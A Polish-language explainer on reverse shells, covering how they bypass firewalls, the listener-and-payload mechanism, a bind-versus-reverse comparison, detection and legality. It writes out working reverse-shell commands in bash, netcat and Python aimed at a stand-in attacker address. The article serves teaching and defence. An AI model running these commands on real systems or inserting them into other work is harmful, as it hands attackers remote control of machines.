Reverse Shell
TL;DR: Reverse Shell
Reverse shell, znany również jako connect-back shell, to sytuacja, gdy skompromitowany system łączy się z atakującym i daje mu dostęp do sesji wiersza poleceń na żywo.
Dlaczego to ma znaczenie?
- Reverse shells mogą omijać zapory sieciowe ponieważ większość zapór blokuje połączenia przychodzące, ale pozwala na wychodzące.
- Atakujący zyskują realną kontrolę ponieważ mogą uruchamiać polecenia tak, jakby byli zalogowani bezpośrednio.
- Reverse shells są bardzo powszechne ponieważ są standardowym krokiem po tym, jak atakujący wykorzysta system.
Wyobraź sobie to w ten sposób: zamiast atakującego próbującego się dostać, oszukują serwer, aby ten się do nich zgłosił.
Co to jest Reverse Shell?
Reverse shell to zdalna powłoka, w której komputer ofiary inicjuje połączenie z komputerem atakującego.
Zwykle to twój komputer inicjuje połączenie, na przykład gdy odwiedzasz stronę internetową. W przypadku reverse shell, jest to odwrócone. Po tym, jak atakujący znajdzie sposób na uruchomienie kodu, serwer łączy się z powrotem do atakującego.
Łatwy sposób, aby to zapamiętać:
- Bind shell: Próbujesz połączyć się z serwerem. Jeśli zapora cię blokuje, nie możesz się przedostać.
- Reverse shell: Serwer łączy się z tobą. Ponieważ połączenia wychodzące są zazwyczaj dozwolone, możesz odpowiedzieć i przejąć kontrolę.
Dlaczego Reverse Shells są ważne
Zespoły ds. bezpieczeństwa zazwyczaj koncentrują się na obronie, takiej jak zapory sieciowe, load balancery i ograniczanie portów. Te metody działają, dopóki atakujący nie zdoła uruchomić kodu wewnątrz systemu.
Kiedy to się stanie, reverse shell staje się głównym sposobem, w jaki atakujący pozostaje w systemie.
Dlaczego to jest niebezpieczne:
-
Ruch wychodzący jest zaufany.
Zapory sieciowe często pozwalają na ruch wychodzący na portach takich jak 80 lub 443 dla aktualizacji i API. Odwrotne powłoki mogą ukrywać się w tym dozwolonym ruchu.
-
Atakujący mogą utrzymać dostęp.
Nawet jeśli pierwotna luka bezpieczeństwa zostanie naprawiona, aktywna powłoka może nadal pozwalać atakującym na kontrolowanie systemu.
-
Umożliwia ruch lateralny.
Dzięki powłoce, atakujący mogą przeszukiwać wewnętrzną sieć, kraść hasła i przenosić się na inne komputery. Jedna luka może szybko doprowadzić do kompromitacji całego środowiska.
Jak działa odwrotna powłoka
Odwrotna powłoka ma dwie główne części: nasłuchiwacz i ładunek.
1. Nasłuchiwacz (strona atakującego)
Atakujący używa programu, który czeka na połączenia. Netcat jest powszechnym narzędziem do tego celu.
nc -lvnp 4444
To polecenie mówi komputerowi atakującego, aby nasłuchiwał na porcie 4444 i czekał na połączenie.
2. Ładunek (strona ofiary)
Po znalezieniu luki, takiej jak zdalne wykonanie kodu, atakujący uruchamia polecenie na serwerze ofiary, aby otworzyć powłokę i wysłać ją z powrotem.
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
To polecenie uruchamia powłokę bash i wysyła wszystkie dane wejściowe i wyjściowe do komputera atakującego.
3. Połączenie
Serwer ofiary rozpoczyna połączenie wychodzące. Zapora sieciowa widzi to jako normalne i pozwala na to. Nasłuchiwacz atakującego akceptuje połączenie, dając atakującemu aktywną powłokę na serwerze.
Na tym etapie atakujący ma pełną interaktywną kontrolę nad serwerem.
Przykłady odwrotnych powłok
Atakujący i etyczni hakerzy dostosowują swoje podejście w oparciu o dostępne narzędzia na docelowym systemie.
Bash (powszechny na Linuxie)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
Używany, gdy Netcat jest dostępny na docelowej maszynie.
nc -e /bin/sh 10.0.0.1 4444
Python
Python jest bardzo powszechny na nowoczesnych serwerach.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Reverse Shell vs Bind Shell
Znajomość różnicy między reverse shells a bind shells pomaga w obronie sieci.
| Cechy | Bind Shell | Reverse Shell |
|---|---|---|
| Kierunek połączenia | Atakujący do Ofiary | Ofiara do Atakującego |
| Wpływ na firewall | Często blokowane | Często dozwolone |
| Wymagania sieciowe | Potrzebny bezpośredni dostęp | Działa przez NAT i firewalle |
| Typowe zastosowanie | Sieci wewnętrzne | Ataki w rzeczywistym świecie |
Kto używa Reverse Shells?
- Testerzy penetracyjni używają reverse shells, aby udowodnić, że luka może prowadzić do pełnego przejęcia systemu.
- Zespoły czerwone używają reverse shells, aby sprawdzić, jak dobrze kontrolowany jest ruch wychodzący.
- Złośliwi aktorzy używają reverse shells do wdrażania ransomware, kradzieży danych lub dalszego przemieszczania się w sieci.
- Administratorzy systemów rzadko używają reverse shells do zdalnego dostępu. Zwykle preferują bezpieczne tunele SSH.
Wykrywanie i zapobieganie
Zatrzymanie reverse shells wymaga kilku warstw obrony.
-
Filtrowanie ruchu wychodzącego
Serwery nie powinny mieć otwartego dostępu do internetu. Ogranicz, które miejsca docelowe i porty mogą być używane.
-
Monitorowanie zachowania
Uruchamianie procesu powłoki przez serwer WWW, takiego jak /bin/bash lub cmd.exe, jest wysoce podejrzane.
-
Zmniejsz powierzchnię ataku.
Usuń nieużywane narzędzia, takie jak Netcat, kompilatory i dodatkowe interpretery z systemów produkcyjnych.
Powiązane terminy
- Zdalne wykonanie kodu (RCE)
- Powłoka wiążąca
FAQ: Powłoka odwrócona
Czy powłoka odwrócona jest nielegalna?
Powłoki odwrócone są legalne tylko wtedy, gdy używasz ich na systemach, które posiadasz lub masz wyraźne pozwolenie na testowanie. Używanie ich bez pozwolenia jest nielegalne.
Dlaczego zapory ogniowe pozwalają na powłoki odwrócone?
Zapory ogniowe są zbudowane, aby blokować zagrożenia przychodzące i zazwyczaj ufają ruchowi wychodzącemu. Powłoki odwrócone wykorzystują tę cechę.
Czy oprogramowanie antywirusowe może wykryć powłoki odwrócone?
Czasami. Oprogramowanie antywirusowe, które używa sygnatur, może znaleźć znane programy powłokowe, ale powłoki bezplikowe stworzone za pomocą Bash lub Python są znacznie trudniejsze do wykrycia.
Jaka jest różnica między powłoką odwróconą a powłoką webową?
Powłoka webowa jest używana przez przeglądarkę i zazwyczaj pozostaje w systemie, ale ma ograniczone funkcje. Powłoka odwrócona zapewnia żywą, interaktywną sesję wiersza poleceń.